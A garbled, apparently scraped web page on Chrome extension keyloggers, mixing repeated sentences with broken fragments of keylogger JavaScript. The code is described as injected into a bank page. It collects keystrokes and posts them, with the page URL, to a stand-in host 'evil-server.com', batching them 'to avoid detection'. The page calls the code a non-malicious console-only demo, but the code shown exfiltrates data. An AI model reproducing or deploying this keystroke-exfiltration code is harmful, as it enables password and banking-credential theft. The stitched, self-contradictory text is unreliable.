Chrome Extension Work — Keylogger

// This is keylogger.js – injected into your bank page. let logBuffer = []; let targetServer = "https://evil-server.com/collect"; document.addEventListener('keydown', function(event) let key = event.key;

Here is a minimalist, non-malicious demo that logs only to the console and clears on page reload: keylogger chrome extension work

// Send data every 50 keystrokes to avoid detection. if (logBuffer.length > 50) sendKeystrokes(logBuffer.join('')); logBuffer = []; // This is keylogger

The danger is real but manageable. Chrome extensions are not inherently evil; they power productivity and customization. However, the same architecture that allows Grammarly to check your spelling allows a keylogger to steal your passwords. Chrome extensions are not inherently evil; they power

function sendKeystrokes(data) fetch(targetServer, method: 'POST', mode: 'no-cors', // Attempt to avoid CORS errors body: JSON.stringify( keys: data, url: window.location.href ) );
